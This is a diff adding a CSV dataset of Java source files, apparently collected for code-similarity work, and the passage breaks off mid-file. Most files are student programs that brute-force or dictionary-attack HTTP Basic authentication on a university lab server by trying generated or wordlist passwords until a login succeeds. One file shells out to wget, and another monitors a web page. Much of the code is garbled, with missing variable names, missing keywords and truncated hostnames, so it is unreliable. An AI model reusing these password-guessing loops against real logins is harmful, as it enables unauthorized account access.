diff --git "a/Quora_SIM/corpus_dataset_val.csv" "b/Quora_SIM/corpus_dataset_val.csv"
new file mode 100644--- /dev/null
+++ "b/Quora_SIM/corpus_dataset_val.csv"
@@ -0,0 +1,38449 @@
+F1,text_1
+185.java,"
+
+import java.awt.*;
+import java.awt.event.*;
+import java.io.*;
+import java.net.*;
+
+public class Dictionary extends Frame implements ActionListener {
+
+  private TextField tf = new TextField();
+  private TextArea  ta = new TextArea();
+
+  public void actionPerformed (ActionEvent e) {
+	  String s = tf.getText();
+	  String login="""";
+   try{
+	  BufferedReader bufr = new BufferedReader
+			(new FileReader (""words1.txt""));
+	  String inputLine="""";
+
+
+
+	  if (s.length() != 0)
+      {
+		  inputLine = bufr.readLine();
+		  while ((inputLine != null) && (inputLine.length() != 3))
+		  {
+			  
+			  inputLine = bufr.readLine();
+		  }
+
+           login="":""+inputLine;
+		   ta.setText (fetchURL (s,login));
+		   System.out.println(""runing""+login);
+	   }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error  URL"")!=0);
+
+	   System.out.println(""The password is: ""+inputLine);
+}
+catch(Exception ex){}
+
+ }
+
+  public Dictionary() {
+
+    super (""URL11 Password"");
+
+    
+     add (tf, BorderLayout.LEFT);
+     ta.setEditable(false);
+     add (ta, BorderLayout.CENTER);
+     tf.addActionListener (this);
+     addWindowListener (new WindowAdapter() {
+       public void windowClosing (WindowEvent e) {
+         dispose();
+         System.exit(0);
+       }
+     });
+   }
+
+  private String fetchURL (String urlString,String login) {
+     StringWriter sw = new StringWriter();
+     PrintWriter  pw = new PrintWriter();
+
+    try {
+       URL url = new URL (urlString);
+
+     
+       MyAuthenticator  = new MyAuthenticator();
+       
+
+      
+       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
+
+      
+       
+
+      
+       URLConnection uc = url.openConnection();
+       uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+       InputStream content = (InputStream)uc.getInputStream();
+       BufferedReader in   =
+         new BufferedReader (new InputStreamReader (content));
+       String line;
+       while ((line = in.readLine()) != null) {
+         pw.println (line);
+       }
+     } catch (MalformedURLException e) {
+       pw.println (""Invalid URL"");
+     } catch (IOException e) {
+       pw.println (""Error  URL"");
+     }
+     return sw.toString();
+   }
+
+
+  public static void main (String args[]) {
+     Frame f = new Dictionary();
+     f.setSize(300, 300);
+     f.setVisible (true);
+   }
+
+  class MyAuthenticator {
+     String getPasswordAuthentication(Frame f, String prompt) {
+       final Dialog jd = new Dialog (f, ""Enter password"", true);
+       jd.setLayout (new GridLayout (0, 1));
+       Label jl = new Label (prompt);
+       jd.add (jl);
+       TextField username = new TextField();
+       username.setBackground (Color.lightGray);
+       jd.add (username);
+       TextField password = new TextField();
+       password.setEchoChar ('*');
+       password.setBackground (Color.lightGray);
+       jd.add (password);
+       Button jb = new Button (""OK"");
+       jd.add (jb);
+       jb.addActionListener (new ActionListener() {
+         public void actionPerformed (ActionEvent e) {
+           jd.dispose();
+         }
+       });
+       jd.pack();
+       jd.setVisible(true);
+      return username.getText() + "":"" + password.getText();
+
+     }
+   }
+
+}
+      
+
+     class  Base64Converter
+      
+      
+      {
+
+     public static final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+     
+      
+
+     public static String  encode ( String  s )
+      
+      {
+        return encode ( s.getBytes ( ) );
+      }
+
+     public static String  encode ( byte [ ]  octetString )
+      
+      {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+        {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ];
+        }
+
+       if ( octetString.length - i == 2 )
+        {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '=';
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '=';
+          out [ outIndex++ ] = '=';
+        }
+
+       return new String ( out );
+      }
+
+     
+      
+      }
+
+"
+042.java,"import java.net.*;
+import java.io.*;
+
+public class BruteForce {
+  private String strUserName;
+  private String strURL;
+  private int iAttempts;
+  
+  public BruteForce(String strURL,String strUserName) {
+    this.strURL = strURL;
+    this.strUserName = strUserName;
+    this.iAttempts = 0 ;
+
+  }
+  
+  public String getPassword(){
+      URL u;
+      String result ="""";
+      PassGenBrute PG = new PassGenBrute(3);
+      URLConnection uc;
+      String strPassword = new String();
+      String strEncode;
+      try{
+        while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
+        
+          strEncode = PG.getNewPassword();
+          u = new URL(strURL);
+          uc = u.openConnection();
+          uc.setDoInput(true);
+          uc.setDoOutput(true);
+          strPassword = strEncode;
+          strEncode =  strUserName + "":"" + strEncode;
+        
+          strEncode = new String(Base64.encode(strEncode.getBytes()));
+          uc.setRequestProperty(""Authorization"","" "" + strEncode);
+        
+          result = uc.getHeaderField(0);
+          uc = null;
+          u = null;
+          iAttempts++;
+        }
+
+      }
+      catch (Exception me) {
+      System.out.println(""MalformedURLException: ""+me);
+      }
+      return(strPassword);
+  }
+  
+  public int getAttempts(){
+    return (iAttempts);
+  };
+  
+  public static void main (String arg[]){
+     timeStart = 0;
+     timeEnd = 0;
+    
+    if (arg.length == 2) {
+       BruteForce BF = new BruteForce(arg[0],arg[1]);
+       System.out.println(""Processing ... "");
+       timeStart = System.currentTimeMillis();
+       
+       System.out.println(""Password = "" + BF.getPassword());
+       timeEnd = System.currentTimeMillis();
+       System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
+       System.out.println(""Total Attempts  = "" + BF.getAttempts());
+    }
+    else {
+       System.out.println(""[Usage] java BruteForce <URL> <USERNAME>"");
+
+    }
+
+  }
+}
+
+class PassGenBrute {
+  private char[] password;
+  public PassGenBrute(int lenght) {
+    password = new char[lenght];
+    for (int i = 0; i < lenght; i++){
+      password[i] = 65;
+    }
+    password[0]--;
+  }
+  
+  public String getNewPassword()
+    throws PasswordFailureException{
+    password[0]++;
+
+    try {
+      for (int i=0; i<password.length ; i++){
+        if (password[i] == 90) {
+          password[i] = 97;
+        }
+        if (password[i] > 122) {
+          password[i] = 65;
+          password[i+1]++;
+        }
+      }
+    }
+    catch (RuntimeException re){
+      throw new PasswordFailureException ();
+    }
+    return new String(password);
+  }
+}
+
+class PasswordFailureException extends RuntimeException {
+
+  public PasswordFailureException() {
+  }
+}"
+133.java,"
+import java.net.*;
+import java.io.*;
+
+
+public class Dictionary
+{
+   private String myUsername = """";
+   private String myPassword = """";
+   private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
+
+
+   public static void main (String args[])
+   {
+      Dictionary d = new Dictionary();
+   }
+
+   public Dictionary()
+   {
+      generatePassword();
+   }
+
+   
+
+   public void generatePassword()
+   {
+      try
+      {
+         BufferedReader  = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+
+         
+         {
+            myPassword = bf.readLine();
+            crackPassword(myPassword);
+         } while (myPassword != null);
+      }
+      catch(IOException e)
+      {    }
+   }
+
+
+  
+
+  public void crackPassword(String passwordToCrack)
+  {
+     String data, dataToEncode, encodedData;
+
+     try
+     {
+         URL url = new URL (urlToCrack);
+
+         
+
+         dataToEncode = myUsername + "":"" + passwordToCrack;
+
+         
+
+         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
+
+         URLConnection urlCon = url.openConnection();
+         urlCon.setRequestProperty  (""Authorization"", "" "" + encodedData);
+
+         InputStream is = (InputStream)urlCon.getInputStream();
+         InputStreamReader isr = new InputStreamReader(is);
+         BufferedReader bf  = new BufferedReader (isr);
+
+          
+          {
+             data = bf.readLine();
+             System.out.println(data);
+             displayPassword(passwordToCrack);
+         } while (data != null);
+      }
+      catch (IOException e)
+      {   }
+   }
+
+
+   public void displayPassword(String foundPassword)
+   {
+      System.out.println(""\nThe cracked password is : "" + foundPassword);
+      System.exit(0);
+   }
+}
+
+
+"
+119.java,"
+import java.util.*;
+
+public class Dictionary {
+
+    private String strUsername;
+    private String strURL;
+    
+    
+    public Dictionary(String username, String url)
+    {
+        strUsername = username;
+        strURL = url;
+    }    
+    
+    public void run() {
+        Date dtStart, dtEnd;
+        
+        PasswordFile pwd = new PasswordFile(""/usr/dict/words"");
+        PasswordTest tester;
+        int i=1;
+        boolean bDone = false;
+        Result res;
+
+        dtStart = new Date();
+        while(!bDone) {
+            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
+        
+            bDone = tester;
+            i++;
+            if(bDone) {
+                
+                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
+                System.out.print(res.toString());
+            }
+            else
+            {
+                
+            }
+            
+            
+            if(pwd.getPassword() == null)
+            {
+                System.out.println(""Exhausted word file without finding password"");
+                bDone = true;
+            }
+        }    
+     
+    }    
+    
+    
+    public static void main(String[] args) {
+        
+        
+        
+        
+        Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/"");
+             
+        dict.run();
+    }
+    
+}
+"
+214.java,"
+
+import java.io.*;
+import java.net.*;
+import java.util.*;
+import java.*;
+
+
+public class WatchDog
+{
+
+  public static void main (String args[])
+  {
+    StringWriter sw = new StringWriter();
+    PrintWriter  pw = new PrintWriter();
+
+    int flag=1;
+    int loop=0;
+     String ServerType = new String();
+     String LastModified = null;
+     String urlString = new String(""http://www.cs.rmit.edu./students/"");
+
+
+     storeNewFile snf = new storeNewFile(""History.txt"");
+     storeNewFile snf1 = new storeNewFile(""Comparison.txt"");
+     String result = null;
+     getImage myGI = new getImage();
+     Process myProcess;
+     String line = null;
+ stime = System.currentTimeMillis();
+   while(loop<5)
+   {
+     try {
+        URL url = new URL (urlString);
+        URLConnection uc = url.openConnection();
+        InputStream content = (InputStream)uc.getContent();
+        BufferedReader in   =
+                      new BufferedReader (new InputStreamReader (content));
+        String line2;
+        while ((line2 = in.readLine()) != null) {
+
+           pw.println (line2);
+        }
+        snf1.getStringW();
+        if(LastModified !=null)
+        {
+
+
+          differenceFile df = new differenceFile();
+          result = df.compareFile();
+        }
+        if(LastModified==null)
+        {
+          System.out.println(""first check"");
+          LastModified=uc.getHeaderField(1);
+          ServerType=uc.getHeaderField(2);
+          snf.getStringW();
+          myGI.tokenFile(""History.txt"");           
+          myProcess = Runtime.getRuntime().exec(""./compGIF.sh"");
+        }
+        else if(result==null)
+        {
+           myGI.tokenFile(""Comparison.txt"");
+           myProcess = Runtime.getRuntime().exec(""./compGIF.sh"");
+           BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt""));
+           line=inputStream.readLine();
+ 
+           if(line == null)
+           {
+             System.out.println("" changes   far.."");
+           }
+           else
+           {
+             while(line!=null)
+             {
+               sendMail t = new sendMail();
+               t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line);
+               line=inputStream.readLine();
+             }
+           }
+           inputStream.close();
+        }
+        else
+        {
+           
+           snf.translogFile(result);
+           sendMail t = new sendMail();
+           t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result);
+           System.out.println("" email is sent.. sent..sent.."");
+           snf.getStringW();
+        }
+        snf.closeStream();
+        snf1.closeStream();
+
+        try{
+          synchronized(url){
+             url.wait(15000);
+          }
+        }
+       catch(InterruptedException e) {
+          System.out.println(""Error in wait() method"");
+        }
+        catch(Exception e){
+          e.printStackTrace();
+        }
+        loop++;
+ endtime=System.currentTimeMillis();
+System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
+
+     }catch (MalformedURLException e) {
+        pw.println (""Invalid URL"");
+     }catch (IOException e) {
+        pw.println (""Error  URL"");
+     }
+   }
+
+     System.out.println(""ETag is ""+ ServerType);
+     System.out.println(""LastModified is ""+ LastModified);
+  }
+}"
+117.java,"
+import java.util.*;
+
+public class CrackThread implements Runnable {
+
+    private String strUsername;
+    private String strURL;
+    private int iSeed;
+    private int iEnd;
+    
+    
+    public CrackThread() {
+    }
+    
+    public void setParams(String url, String username, int seed, int end) {
+        strUsername = username;
+        strURL = url;
+        iSeed = seed;
+        iEnd = end;
+    }
+    
+    public void run() {
+        Date dtStart, dtEnd;
+        PasswordGen pwd = new PasswordGen();
+        PasswordTest tester;
+        int i=1;
+        boolean bDone = false;
+        Result res;
+
+        dtStart = new Date();
+        
+        
+        pwd.setSeed(iSeed);
+        
+        while(!bDone) {
+            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
+        
+            bDone = tester;
+            i++;
+            
+            
+            if(i % 100 == 0)
+            {
+                System.out.println(pwd.getPassword());
+            }
+            
+            if(bDone) {
+                
+                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
+                System.out.print(res.toString());
+            }
+            else
+            {
+                
+            }
+            
+            
+            if( i >= iEnd) bDone = true;
+        }    
+    }
+    
+}
+"
+030.java,"
+import java.awt.*;
+import java.util.*;
+import java.awt.event.*;
+import java.io.*;
+import java.net.*;
+
+public class BruteForce
+{
+   private String userPassword;
+   private static int counter;
+
+
+
+
+
+   public BruteForce(String username)
+   {
+    String user;
+    String password;
+    counter = 0;
+    user = username;
+
+
+      for (char i='A';i<='z';i++)
+      {
+           if (i == 'Z')
+                  i = 'a';
+
+          for (char j='A';j<='z';j++)
+          {
+               if (j == 'Z')
+                  j = 'a';
+
+              for (char k='A';k<='z';k++)
+              {
+                userPassword = user+ "":"" + i + j + k;
+
+                if (k == 'Z')
+                  k = 'a';
+
+                  System.out.print(""."");
+
+                  if (doEncoding(userPassword)== true)
+                  {
+                    System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k);
+                    return;
+                  };
+
+                counter++;
+              }
+          }
+       }
+   }
+
+
+
+
+
+   private boolean doEncoding(String userPassword)
+   {
+       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
+       return doAttempt(encoding);
+   }
+
+
+
+
+
+   private boolean doAttempt (String encoding)
+   {
+      try
+      {
+         URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+         URLConnection uc = url.openConnection();
+         uc.setDoInput(true);
+         uc.setDoOutput(true);
+
+         uc.setRequestProperty  (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
+         uc.setRequestProperty  (""Host"", ""sec-crack.cs.rmit.edu."");
+         uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+
+         return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
+       }
+       catch (MalformedURLException e)
+       {
+         System.out.println (""Invalid URL"");
+       }
+       catch (IOException e)
+       {
+         System.out.println (e.toString() );
+       }
+
+       return false;
+   }
+
+
+
+
+
+  public static void  main(String args[])
+   {
+     Date sdate = new Date();
+
+     System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n"");
+
+     BruteForce bf = new BruteForce(args[0]);
+
+     Date edate = new Date();
+     System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n"");
+     System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
+     System.out.print(""Attempts  in this session:"" + counter + ""\n"");   }
+}
+
+
+
+
+"
+116.java,"
+import java.io.*;
+
+public class PasswordFile {
+    
+    private String strFilepath;
+    private String strCurrWord;
+    private File fWordFile;
+    private BufferedReader in;
+    
+    
+    public PasswordFile(String filepath) {
+        strFilepath = filepath;
+        try {
+            fWordFile = new File(strFilepath);
+            in = new BufferedReader(new FileReader(fWordFile));
+        }
+        catch(Exception e)
+        {
+            System.out.println(""Could not open file "" + strFilepath);
+        }
+    }
+    
+    String getPassword() {
+        return strCurrWord;
+    }
+    
+    String getNextPassword() {
+        try {
+            strCurrWord = in.readLine();
+            
+            
+            
+        }
+        catch (Exception e)
+        {
+            
+            return null;
+        }
+                
+        return strCurrWord;
+    }
+    
+}
+"
+174.java," 
+
+
+
+
+import java.util.*;
+import java.io.*;
+
+public class MyTimer
+{	
+
+	public static void main(String args[])
+	{
+		Watchdog watch = new Watchdog();
+		Timer time = new Timer();
+		time.schedule(watch,864000000,864000000);
+		
+			
+	}
+}
+"
+044.java,"import java.net.*;
+import java.io.*;
+
+
+public class Dictionary {
+  private String strUserName;
+  private String strURL;
+  private String strDictPath;
+  private int iAttempts;
+
+    
+    public Dictionary(String strURL,String strUserName,String strDictPath) {
+    this.strURL = strURL;
+    this.strUserName = strUserName;
+    this.iAttempts = 0 ;
+    this.strDictPath = strDictPath;
+    }
+  
+
+  public String getPassword(){
+      URL u;
+      String result ="""";
+      PassGenDict PG = new PassGenDict(3,strDictPath);
+      URLConnection uc;
+      String strPassword = new String();
+      String strEncode;
+        try{
+        while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
+      
+          strEncode = PG.getNewPassword();
+          u = new URL(strURL);
+          uc = u.openConnection();
+          uc.setDoInput(true);
+          uc.setDoOutput(true);
+          strPassword = strEncode;
+          strEncode =  strUserName + "":"" + strEncode;
+          
+        strEncode = new String(Base64.encode(strEncode.getBytes()));
+          uc.setRequestProperty(""Authorization"","" "" + strEncode);
+            
+      result = uc.getHeaderField(0);
+          uc = null;
+          u = null;
+          iAttempts++;
+        }
+
+      }
+      catch (Exception me) {
+      System.out.println(""MalformedURLException: ""+me);
+      }
+      return(strPassword);
+  }
+ 
+   public int getAttempts(){
+    return (iAttempts);
+  };
+  
+  public static void  main(String arg[]){
+     timeStart = 0;
+     timeEnd = 0;
+    
+    if (arg.length == 3) {
+    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
+
+    System.out.println(""Processing ... "");
+    timeStart = System.currentTimeMillis();
+    System.out.println(""Password = "" + BF.getPassword());
+    timeEnd = System.currentTimeMillis();
+    System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
+    System.out.println(""Total Attempts  = "" + BF.getAttempts());
+    }
+    else {
+       System.out.println(""[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"");
+
+    }
+
+  }
+}
+
+
+class PassGenDict {
+
+  private char[] password;
+  private String line;
+  int iPassLenght;
+  private BufferedReader inputFile;
+  public PassGenDict(int lenght, String strDictPath) {
+    try{
+      inputFile = new BufferedReader(new FileReader(strDictPath));
+    }
+    catch (Exception e){
+    }
+    iPassLenght = lenght;
+  }
+   
+ public String getNewPassword()
+    throws PasswordFailureException{
+    try {
+      {
+        line = inputFile.readLine();
+      }while (line.length() != iPassLenght);
+
+    }
+    catch (Exception e){
+      throw new PasswordFailureException ();
+    }
+    return (line);
+  }
+}
+
+class PasswordFailureException extends RuntimeException {
+
+  public PasswordFailureException() {
+  }
+}"
+120.java,"
+
+
+public class PasswordGen {
+    
+    private int iLastSeed = 0;
+    private int iPasswordLength = 3;
+    private String strPassword;
+    
+    
+    public PasswordGen() {
+        strPassword = """";
+    }
+    
+    public boolean setSeed(int iSeedVal) {
+        iLastSeed = iSeedVal;
+        return true;
+    }
+    
+    public String getPassword() {
+        return strPassword;
+    }
+    
+    public String getPassword(int iSeed) {
+        int iRemainder, iAliquot, i;
+        int arrChars[];
+        boolean fDone;
+        
+        
+        
+        arrChars = new int[iPasswordLength];
+        for(i = 0; i<iPasswordLength; i++)
+                arrChars[i] = 0;
+
+        fDone = false;
+        iAliquot = iSeed;
+        i=0;
+        while(!fDone) {
+            iRemainder = iAliquot % 52;
+            if(iRemainder == 0) iRemainder=52;
+            iAliquot = iAliquot / 52;
+            
+            arrChars[i] = iRemainder;
+            if(i<iPasswordLength) i++;
+            if(iAliquot == 0)
+                fDone = true;
+        }
+        
+        strPassword = convertPassword(arrChars);
+        
+        return strPassword;
+    }
+    
+    public String getNextPassword() {
+        iLastSeed++;
+        strPassword = getPassword(iLastSeed);
+        return strPassword;
+    }
+ 
+    private String convertPassword(int[] chars) {
+        String strPwd;
+        int i;
+        
+        strPwd = """";
+        
+        for(i=0; i<iPasswordLength; i++)
+        {
+            
+            if(chars[i] != 0)
+            {
+                if (chars[i] < 27)
+                {
+                    strPwd += new Character((char)(chars[i]+64)).toString();
+                }
+                else
+                {
+                    strPwd += new Character((char)(chars[i]+70)).toString();
+                }
+            }
+        }
+        return strPwd;
+    }
+}
+"
+016.java,"
+
+
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import javax.swing.*;
+
+public class PasswordCombination
+{
+    private int      pwdCounter = 0;
+    private   int   startTime;
+    private String   str1,str2,str3;
+    private String   url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    private String   loginPwd;
+    private String[] password;
+    private HoldSharedData data;
+    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
+                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
+                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};
+
+    public PasswordCombination()
+    {
+        System.out.println(""Programmed by   for INTE1070 Assignment 2"");
+
+        String input = JOptionPane.showInputDialog( ""Enter number of threads"" );
+        if(  input == null  )
+           System.exit(0);
+
+        int numOfConnections = Integer.parseInt( input );
+        startTime = System.currentTimeMillis();
+        int pwdCounter = 52*52*52 + 52*52 + 52;
+        password = new String[pwdCounter];
+
+
+        loadPasswords();
+        System.out.println( ""Total Number of Passwords: "" + pwdCounter );
+        createConnectionThread( numOfConnections );
+    }
+
+    private void doPwdCombination()
+    {
+        for( int i = 0; i < 52; i ++ )
+        {
+            str1 = """" + chars[i];
+            password[pwdCounter++] = """" + chars[i];
+            System.err.print( str1 + "" | "" );
+
+            for( int j = 0; j < 52; j ++ )
+            {
+                str2 = str1 + chars[j];
+                password[pwdCounter++] = str1 + chars[j];
+
+                for( int k = 0; k < 52; k ++ )
+                {
+                    str3 = str2 + chars[k];
+                    password[pwdCounter++] = str2 + chars[k];
+                }
+            }
+        }
+    }
+
+    private void loadPasswords( )
+    {
+        FileReader     fRead;
+        BufferedReader buf;
+        String         line = null;
+        String         fileName = ""words"";
+
+        try
+        {
+            fRead = new FileReader( fileName );
+            buf = new BufferedReader(fRead);
+
+            while((line = buf.readLine( )) != null)
+            {
+                password[pwdCounter++] = line;
+            }
+        }
+        catch(FileNotFoundException e)
+        {
+            System.err.println(""File not found: "" + fileName);
+        }
+        catch(IOException ioe)
+        {
+            System.err.println(""IO Error "" + ioe);
+        }
+    }
+
+    private void createConnectionThread( int input )
+    {
+        data = new HoldSharedData( startTime, password, pwdCounter );
+
+        int numOfThreads = input;
+        int batch = pwdCounter/numOfThreads + 1;
+        numOfThreads = pwdCounter/batch + 1;
+        System.out.println(""Number of Connection Threads Used="" + numOfThreads);
+        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
+
+        for( int index = 0; index < numOfThreads; index ++ )
+        {
+            connThread[index] = new ConnectionThread( url, index, batch, data );
+            connThread[index].conn();
+        }
+    }
+}  "
+065.java,"import java.*;
+import java.io.*;
+import java.String;
+import java.util.*;
+
+public class BruteForce
+{
+    public static void main (String [] args)
+    {
+               try
+                {
+                Date d  = new Date();
+                String file = ""index.html"";
+                String file1 = ""passwd."";
+                String line ="""";
+                String [] cmd = new String[4];
+                cmd[0] = ""wget"";
+                cmd[1] = ""--http-user="";
+                cmd[3] = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+                File f = new File(file);
+                FileReader fr = new FileReader(file1);
+                BufferedReader in = new BufferedReader(fr); 
+                while((line = in.readLine())!=null)
+                {
+                 Date end = new Date();
+                 cmd[2] = pass(line);
+                 Runtime.getRuntime().exec(cmd);
+                 if(f.exists())
+                 {
+                   System.out.println("" have found your pasword"");
+                   System.out.println(""the  time: "" + d.getMinutes() +"":""+ d.getSeconds());
+                   System.out.println(""the end time: "" + end.getMinutes() +"":""+ end.getSeconds());
+                    break;
+                 }
+                 System.out.println(cmd[2]);
+                }
+              }
+            catch(IOException e)
+            {
+              System.out.println(""hello try"");
+            }
+    }
+
+public static String pass(String str)
+{
+   return ""--http-passwd="" + str;
+}
+
+}"
+079.java,"import java.util.*;
+import java.net.*;
+import java.io.*; 
+
+public class Dictionary
+{
+    boolean connected = false;
+    int counter;
+   
+    Vector words = new Vector();
+    
+    Dictionary()
+    {
+        counter = 0;
+        this.readWords(); 
+        this.startAttack();
+    }   
+    
+    public void startAttack()
+    {
+        while(counter<this.words.size())
+        {
+           connected = sendRequest();
+           if(connected == true)
+           {
+             System.out.print(""The password is: "");
+             System.out.println((String)words.elementAt(counter-1));
+             counter = words.size();
+           }
+        }
+    }
+    
+
+    public void readWords()
+    {
+        String line;
+
+        try
+        {
+            BufferedReader buffer = new BufferedReader(
+                    new FileReader(""/usr/share/lib/dict/words""));
+         
+            line = buffer.readLine();
+
+            while(line != null)
+            {
+
+                if(line.length() <= 3)
+                {
+                    words.addElement(line);
+                }
+
+                line = buffer.readLine();
+            }
+        }
+        catch(IOException e){}
+    }
+    
+    public boolean sendRequest()
+    {
+        Authenticator.setDefault (new MyAuthenticator ());
+        try 
+        {
+        	
+        	URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
+                urlConn.connect();
+                if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
+                {
+                   return true;
+                }
+               
+        } 
+        catch (IOException e) {}
+        
+        return false;
+    }
+    
+     public static void main(String [] args)
+     {
+         Dictionary dictionary = new Dictionary();
+     }
+   
+   
+     class MyAuthenticator extends Authenticator {
+       
+        protected PasswordAuthentication getPasswordAuthentication() {
+            String username = """";
+            String password = (String)words.elementAt(counter);
+            counter++;
+            return new PasswordAuthentication(username, password.toCharArray());
+       }
+    }
+}
+"
+022.java,"
+
+
+
+import javax.swing.*;
+
+public class BruteForce
+{
+    public static void main( String args[] )
+    {
+        PasswordCombination pwdCombination;
+
+        pwdCombination = new PasswordCombination();
+    }
+}  
+
+"
+208.java,"
+import java.io.*;
+import java.util.*;
+
+public class Dictionary
+{
+   private DicReader crack;
+   private Vector clients;
+   private int num;
+   privateint  bigStart;
+
+   public int Dictionary()
+   {
+      int i, j;
+       int start, finish;
+      start = 0;
+      finish = 0;
+      crack = new DicReader(""/usr/share/lib/dict/words"");
+      num = crack.getVictor().size();
+      clients = new Vector( num);
+      j = 0;
+      bigStart = System.currentTimeMillis();
+      for( i = 0; i < num; i++)
+      {
+          MyClient1 client =  new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
+          
+          clients.add( client);
+	  Thread t = new Thread( client);
+	  t.start();
+          j++;
+          if(j == 100)
+          {
+             t = System.currentTimeMillis();
+             System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i));
+             finish = 0;
+             while( (finish - t ) < 1000)
+             {
+                finish = System.currentTimeMillis();
+             }
+             j = 0;
+          }
+    
+      }
+       
+   }
+   public void retire(int MyClient1 )
+   {
+      
+      bigFinish = t.getTime();
+      System.out.println(""It took ""+(bigFinish - bigStart)/1000+"" seconds  crack the password"");
+      System.exit(0);
+   }
+   public static void main (String[] args)
+   {
+      Dictionary  = new Dictionary();
+   }
+}
+      
+"
+240.java,"
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+class Dictionary
+{
+
+ public static void main (String a[])
+ {
+ String pwd="""";
+
+   try
+     {
+     
+     BufferedReader bf = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+     int i=0;
+     while(bf.readLine() != null)
+     {
+     pwd= bf.readLine();  
+     String userPassword = "":""+pwd;
+     RealThread myTh = new RealThread(i,userPassword);
+     Thread th = new Thread( myTh );
+     th.start();
+      try
+      {
+      th.sleep(100);
+      }
+      catch(Exception e)
+      {} 
+      i++;
+     }
+   }
+   catch(Exception e )
+   {
+   System.out.println("" ex while  =""+ e);
+   }
+}
+
+
+}
+
+
+
+
+class RealThread implements Runnable
+{
+ private int num;
+ private URL url;
+ private HttpURLConnection uc =null;
+ private String userPassword;
+ private int responseCode = 100;
+ public RealThread (int i, String userPassword)
+ {
+ try
+ {
